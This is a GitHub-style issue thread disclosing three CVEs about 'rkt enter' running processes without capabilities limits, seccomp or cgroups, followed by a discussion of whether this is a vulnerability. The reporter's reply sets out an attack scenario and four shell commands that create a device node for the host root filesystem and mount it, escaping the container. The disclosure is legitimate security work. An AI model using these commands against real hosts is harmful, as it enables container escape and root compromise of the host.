rkt enter lacks isolation features

[yuvalavra]

The rkt enter command in the default systemd/nspawn flavor lacks isolation features.

Processes spawned by the rkt enter command run with all capabilities, without seccomp filtering, and aren’t limited by cgroups. This allows processes spawned by rkt enter to break out of the pod with relative ease. A process, for example, can mount the host filesystem device.

This issue was reported to RedHat & CoreOS according to the instructions here. Three CVE IDs were assigned:

• CVE-2019-10144: processes run with rkt enter are given all capabilities during stage 2
• CVE-2019-10145: processes run with rkt enter do not have seccomp filtering during stage 2
• CVE-2019-10147: processes run with rkt enter are not limited by cgroups during stage 2

RedHat does not plan on fixing these issues, and so I report them here.

[onlyjob]

I do not understand how this is a vulnerability. rkt enter is an interactive root-only command (requires sudo or root access). IMHO interactive root session started by admin (e.g. to enter container for inspection, etc.) should not be restricted.

[yuvalavra]

Consider the following scenario:

• An attacker who compromised a rkt pod wishes to compromise the host
• The attacker substitutes /bin/bash inside the container with a malicious binary
• A rkt user runs rkt enter ${pod-id} bash
• The malicious binary is executed inside the container, but without several necessary isolation features (seccomp, cgroups, all capabilities). Thus the malicious binary can break out of the container and the attacker can run arbitrary code on the host as root.

To break out of the container, the malicious binary can run the following commands:

stat / | grep "Device" | awk '{print $2}' # get the  minor and major numbers of the root fs device
mknod --mode 0600 /dev/host_root_fs_device b ${major-num} ${minor-num}
mkdir /host_root
mount  /dev/host_root_fs_device /host_root

See this POC video. For more details see this post.